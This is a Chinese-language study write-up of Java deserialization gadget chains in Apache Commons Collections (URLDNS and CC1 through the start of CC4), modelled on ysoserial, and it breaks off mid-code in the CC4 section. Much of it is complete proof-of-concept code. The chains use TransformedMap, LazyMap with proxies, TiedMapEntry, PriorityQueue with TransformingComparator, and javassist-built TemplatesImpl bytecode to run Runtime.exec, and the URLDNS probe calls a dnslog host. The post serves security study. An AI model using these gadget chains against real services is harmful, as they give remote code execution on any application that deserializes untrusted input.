cc链1-8分析

URLDNS

先看波poc

package ysoserial;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws Exception {
        //0x01.生成payload
        //设置一个hashMap
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        //设置我们可以接受DNS查询的地址
        URL url = new URL("http://oo10yy.dnslog.cn");
        //将URL的hashCode字段设置为允许修改
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        //**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
        //1. 设置url的hashCode字段为0xdeadbeef
        f.set(url, 0xdeadbeef);
        //2. 将url放入hashMap中,key-value
        hashMap.put(url, "123");
        //修改url的hashCode字段为-1,为了触发DNS查询
        f.set(url, -1);
        //0x02.写入文件模拟网络传输
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
        //0x03.读取文件,进行反序列化触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

分析,先看一下HashMap的readObject

private void readObject(java.io.ObjectInputStream s){
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();

        ...
        ...

            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                //由于HashMap是key:value存储的,putVal就是将键值放入HashMap
                putVal(hash(key), key, value, false, false);
            }
        }
}

HashMap#hash(key)

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里的hashCode方法是key下的方法,我们令其为URL,也就是
URL#hashCode()

    //hashCode默认=-1
    private int hashCode = -1;
    //url传输实现类
    transient URLStreamHandler handler;

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

URLStreamHandler#hashCode()

    protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
        ...
        ...
        return h;
    }

URLStreamHandler#getHostAddress(),在getHost触发dns解析

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);//这一步根据域名获取ip,进行一次dns
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

在这里插入图片描述

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

值得一提的是poc中首先将url的hashCode设置成任意再设置成-1,是因为

HashMap#put中有一次hash(key)操作

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

所以如果直接将其设置为-1就会本地触发一次URLDNS干扰判断,而ysoserial在新建URL对象时传入了一个自己的handler,这个handler继承了URLStreamHandler,并将getHostAddress置空,这样在生成payload的时候虽然hashCode=-1但是不会触发dns

CC1

TransformedMap

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\Windows\\System32\\calc.exe"}),
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        outerMap.put("aa","bb");
    }
}

Transformer是一个接口,里面有一个transform方法

public interface Transformer {
    ...
    public Object transform(Object input);
}

TransformedMap用于对Map做一个修饰,如下decorate函数会对传过来的map进行修饰,如keyTransformer是针对map中的key做回调,valueTransformer是针对map中的value做回调,并返回一个新的装饰好的TransformedMap

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

但是这里的key/valueTransformer并不是一个函数,而是一个继承了Transformer接口的实例,在转换Map的新元素时就会调用该实例下的transform方法

demo中首先通过Transformer[]transformers赋值为多个Transformer,内容为

1.ConstantTransformer:保存并返回传过来的对象,在这里也就是Runtime.getRuntime()

2.InvokerTransformer:初始构造函数为:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;//方法名(exec)
        iParamTypes = paramTypes;//参数类型(String.class)
        iArgs = args;//参数({"C:\\Windows\\System32\\calc.exe"})
    }

然后将其放入ChainedTransformer的实例中,它的transform函数如下

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

然后新建一个Map,进行针对value的装饰

Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

在对outerMap放入新元素时调用transformerChain下的transform函数中,也就是ChainedTransformer#transform

上面也看了,就是会遍历每一个iTransformers,并执行该iTransformers的transform,

首先ConstantTransformer:保存并返回传过来的对象Runtime.getRuntime()

其次第二个将ConstantTransformer返回的结果(Runtime.getRuntime())当作参数传入InvokerTransformer,执行exec函数,有点类似这个:

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe")

不过这个demo是一个理想的poc,首先如果加上反序列化(如下),会报Runtime没有serializeable

Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}),
    };

    Transformer transformerChain = new ChainedTransformer(transformers);

    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
    //outerMap.put("aa","bb");

    FileOutputStream f = new FileOutputStream("payload.bin");
    ObjectOutputStream fout = new ObjectOutputStream(f);
    fout.writeObject(outerMap);

    FileInputStream fi = new FileInputStream("payload.bin");
    ObjectInputStream fin = new ObjectInputStream(fi);
    fin.readObject();

但是可以通过反射来获得Runtime对象而不是Runtime类

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转换成Transformer

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

img

这样就能序列化了

public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("123","123");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        //outerMap.put("aa","bb");

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(outerMap);

        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        Map outMap_2 = (Map) fin.readObject();//序列化后反序列化得到一个Map
        outMap_2.put("aa","bb");//put触发transform方法
    }

但是有点鸡肋,因为还需要服务端手动往map放值,接下来使用AnnotationInvocationHandler#readObject来自动触发,要求jdk1.7

readObject(本地是1.8就直接复制了别人的代码emmm)

 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        //默认反序列化
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();//
        Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();//遍历map迭代器
            String var6 = (String)var5.getKey();//获取key的名称
            Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样
            if (var7 != null) {
                Object var8 = var5.getValue();//获取map的value
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

注意到最后一个if语句里执行了setValue,也就是说反序列化时会自动触发Map中的transform

先看一下构造方法

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
        this.type = var1;//传入的var1到this.type
        this.memberValues = var2;//我们的map传入this.memberValues
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

由于AnnotationInvocationHandler是一个内置类不能直接实例化,所以需要反射

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class,outerMap);

此时

this.type=Retention.class;
this.memberValues=outerMap;

@Retention可以用来修饰注解,是注解的注解,称为元注解

@Documented//被写入javadoc文档
@Retention(RetentionPolicy.RUNTIME)//生命周期为运行时级别
@Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
public @interface Retention {
    /**
     * Returns the retention policy.
     * @return the retention policy
     */
    RetentionPolicy value();
}

例如:

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface DBTable {
    String name() default "";//default是默认值
}

---------------使用------------------

@DBTable(name = "MEMBER")
public class Member {
}

偷张图

在这里插入图片描述

AnnotationInvocationHandler#readObject中var2首先会得到this.type(Retention.class)的注解

Annotation Type:
   Member types: {value=class java.lang.annotation.RetentionPolicy}
   Member defaults: {}
   Retention policy: RUNTIME
   Inherited: false

然后var3=var2.memberTypes()得到一个{value : Member types}键值对

var4得到传入的Map的迭代对象

Iterator var4 = this.memberValues.entrySet().iterator();

如果要保证能进入if,那var7就不能为空,也就是var3,中有var6这个键

Entry var5 = (Entry)var4.next();//获取到传入的{key:value}
String var6 = (String)var5.getKey();//获取传入的键值对的键名key
Class var7 = (Class)var3.get(var6);
if (var7 != null) 
    {
    //触发命令执行处
    }

例如我们设置innerMap.put("value":"123")

此时

var5={"value":"123"};
var6="value";
var3={"value":"class java.lang.annotation.RetentionPolicy"};
var7="class java.lang.annotation.RetentionPolicy"

var7不为空,反序列化触发setValue,触发transform完成自动调用,下面放出jdk1.8的调试信息(懒得弄1.7了对照着1.8看吧..)

在这里插入图片描述

poc:

public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","123");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        //outerMap.put("aa","bb");

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class,outerMap);

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);

        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
}

在jdk1.8中的AnnotationInvocationHandler#readObject不直接使用我们传入的Map了,而是新建了一个LinkedHashMap然后把键值放进去,所以即使setValue也不是我们传入的Map的set了

LinkedHashMap var7 = new LinkedHashMap();

u1s1 CC链确实不好理解

lazymap

换个思路,看看lazymap如何触发

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

如下:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key); //触发transform
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

但是在sun.reflect.annotation.AnnotationInvocationHandler#readObject中并没有直接调用get方法,而AnnotationInvocationHandler#invoke中有,那么就想办法调用invoke

public Object invoke(Object var1, Method var2, Object[] var3) {
    ...
        switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);//调用了get
    ...
}

ysoserial使用的是JAVA代理

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需要用到 java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),//类加载器
    new Class[] {Map.class},//代理对象
    handler//实现了InvocationHandler接口的对象,包含代理逻辑
);

例子:

public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;
    public ExampleInvocationHandler(Map map){
        this.map=map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().compareTo("get")==0){
            return "hack obj";
        }
        System.out.println("ExampleInvocationHandler is there....");
        return method.invoke(this.map,args);
    }
}

该类继承了InvocationHandler并重写invoke,作用为监听get时间

在用test类跑一下

public class test {
public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

会发现得到的是hack obj,因为我们将ExampleInvocationHandler用做了代理,在用代理的proxyMap进行get时就会被ExampleInvocationHandler监听到并返回hack obj

也就相当于我们能通过代理来调用invoke函数

同理我们能把AnnotationInvocationHandler用Proxy进行代理,在readObject时调用任意的方法就会触发AnnotationInvocationHandler#invoke,然后进入LazyMap#get=>触发transform

poc

//首先对照上面的poc将TransformedMap替换成LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformersChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//先得到handler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
//得到代理proxyMap
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
//最后需要把proxyMap放入InvocationHandler中,不然无法序列化
handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
        new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
        new ConstantTransformer(1)//别管,加上就是了,P牛解释是:隐蔽了启动进程的日志特征
    };
    Transformer transformersChain = new ChainedTransformer(fakeTransformers);
    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap,transformersChain);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
    Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
    handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(handler);
    oos.close();

    System.out.println(barr);
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    Object o = (Object)ois.readObject();
}

jdk>1.8

解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get()的地⽅

为:org.apache.commons.collections.keyvalue.TiedMapEntry

在getValue函数中调用了get

public Object getValue() {
    return map.get(key);
}

在hashCode中调用了getValue

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}

现在问题到了如何触发hashCode了,ysoserial中找的利用链为:

java.util.HashSet#readObject->HashMap#put()->HashMap#hash(key)->TiedMapEntry#hashCode()

P牛找的:

java.util.HashMap#readObject->HashMap#hash()->TiedMapEntry#hashCode()

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        ...
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);//HashMap#readObject->HashMap#hash()
            }
        }
    }

因为HashMap#hash中会调用hashCode

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

所以只需要令HashMapkeyTiedMapEntry即可

构造poc

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

这里为了避免本地调用,先用一个fakeTransformers,最后在用transformers替换

public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformersChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformersChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");//把outerMap放入TiedMapEntry

        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");//前面说了,要将TiedMapEntry对象当作HashMap的key
        outerMap.remove("keykey");

        Field fa = ChainedTransformer.class.getDeclaredField("iTransformers");//
        fa.setAccessible(true);
        fa.set(transformersChain,transformers);//将真正的transformers放入exp中

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
}

中间有一步outerMap.remove("keykey")

如果把他去掉再在LazyMap#get中打断点就会发现

map.containsKey(key)为True,无法进入if循环,也就无法触发transform

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) { //key = "keykey"
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

这是因为上一步把TiedMapEntry对象put进expMap时,expMap作为HashMap会自调用一次hash(key)

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

导致这个链在这里调用了一遍,因为这时是fakeTransformers,所以不会弹计算器,所以在这里手动将这个keykey移除就好了

在这里插入图片描述

参考:
P牛java安全漫谈
https://xz.aliyun.com/t/7031#toc-5

CC2

commons-collections4.0

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

PriorityQueue#readObject

在这里插入图片描述

只关心输入,反序列化后被存入queue,进入heapify方法

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

进入siftDown,此时第二个参数也就是queue[i]可控

    private void siftDown(int k, E x) { //x可控
        if (comparator != null)
            siftDownUsingComparator(k, x); //跟进siftDownUsingComparator
        else
            siftDownComparable(k, x);
    }

在这里插入图片描述

其中comparator参数定义如下,可以通过反射来赋值

private final Comparator<? super E> comparator;

到这里我们已经到了利用链的这一步

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare() //这里
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

所以我们令PriorityQueue#ComparatorTransformingComparator

TransformingComparator#compare()

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

看到transform了,跟cc1一样,transformer也可控

private final Transformer<? super I, ? extends O> transformer;

可根据cc1写出poc

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        //org.apache.commons.collections4.comparators
        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add(1);
        priorityQueue.add(1);
        Field field = priorityQueue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue,transformingComparator);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        //System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

这里priorityQueue add两个是因为heapify中(size >>> 1) - 1 >=0 // 即 size>= 2

ysoserial

首先需要了解一下javassist

Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。

public class test {
    public static void main(String[] args) throws Exception {
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}"; //payload
        ClassPool pool = ClassPool.getDefault(); //返回默认的类池
        //System.out.println(pool);
        CtClass clazz = pool.get(test.class.getName()); //从类池中获取test类
        clazz.setName("demo"); //名称为demo
        clazz.makeClassInitializer().insertAfter(code); //makeClassInitializer为静态构造函数,即向clazz的static块中插入payload
        //触发
        byte[] payload = clazz.toBytecode();
        DefiningClassLoader loader = new DefiningClassLoader(); //Java提供了ClassLoader从bytes数组中还原Class的方法,defineClass函数就是完成这一过程的函数。
        Class cls = loader.defineClass("demo",payload);//将byte数组还原给demo
        cls.newInstance();//实例化,触发static
    }
}

https://blog.0kami.cn/2019/10/28/java/study-java-deserialized-commonscollections3-3/

看一下ysoserial的payload

在这里插入图片描述

首先用createTemplatesImpl()生成一个Object

在这里插入图片描述

120行中向clazz的static块插入cmd,130行将clazz转换为字节码给templates,最后返回的Object templates就相当于一个恶意类

后面操作就是将上面说的利用链连起来,理一下步骤

首先触发PriorityQueue#readObject进入PriorityQueue#heapify()

在这里插入图片描述

注意这里的queue属性已经在上面被赋值成了templates,进入siftDown

在这里插入图片描述

进入siftDownUsingComparator

在这里插入图片描述

因为上面comparator属性设置的是TransformingComparator的实例,所以触发TransformingComparator#compare()

在这里插入图片描述

并且TransformingComparator#transformerInvokerTransformer的实例
在这里插入图片描述

触发InvokerTransformer#transform

在这里插入图片描述

接着触发TemplatesImpl#newTransformer

在这里插入图片描述

TemplatesImpl#getTransletInstance

在这里插入图片描述

TemplatesImpl#defineTransletClasses

在这里插入图片描述

这里的bytecode是我们的字节码,398行创建类加载器loader

在这里插入图片描述

414行将字节码转换成class给_class,TemplatesImpl#defineTransletClasses方法执行结束,回到getTransletInstance,455行对_class实例化,执行其中的static块

在这里插入图片描述

CC3

commons-collections3.1

ysoserial中这一段第一个ConstantTransformer的参数变成了TrAXFilter,而第二个transformer从InvokerTransformer变成了InstantiateTransformer

在这里插入图片描述

先看一下InstantiateTransformer#transform()

在这里插入图片描述

这里对参数做了一个实例化

简单来看,该函数对输入的input(这里就是TrAXFilter.class)做实例化的操作。这里看起来,其实有点像php中找对应的__constructs,在Java里我们就去找构造函数里做了危险操作的class。

TrAXFilter的构造调用了newTransformer,这里就跟cc2连上了

在这里插入图片描述

所以InstantiateTransformer的第二个参数应该是templatesImpl,也就是包含字节码的实例

调用链:

HashMap#readObject()->HashMap#Hash()->
TiedMapEntry#HashCode()->TiedMapEntry#getValue()->
LazyMap#get()->各种transformer()...->实例化还原字节码

poc

//jdk1.8
public class test {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_class",null);
        setField(templates,"_tfactory",TransformerFactoryImpl.class.newInstance());
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");
        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        //outerMap.remove("keykey");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

低版本用的是AnnotationInvocationHandler因为要用到invoke,所以需要代理

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
...
oos.writeObject(handler);

CC4

4是2的前半加3的后半,用一个师傅的调用链总结

https://blog.0kami.cn/2019/11/05/java/study-java-deserialized-commonscollections4/

CommonsCollection2:
PriorityQueue.readObject
    -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
    -> PriorityQueue.siftDownUsingComparator()
    -> TransformingComparator.compare()
    -> InvokerTransformer.transform()
    -> TemplatesImpl.newTransformer()
    ... templates Gadgets ...
    -> Runtime.getRuntime().exec()

CommonsCollection4:
PriorityQueue.readObject
    -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
    -> PriorityQueue.siftDownUsingComparator()
    -> TransformingComparator.compare()
    -> ChainedTransformer.transform()
    -> InstantiateTransformer.transform()
    -> TemplatesImpl.newTransformer()
    ... templates Gadgets ...
    -> Runtime.getRuntime().exec()

融合一下

public class test {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
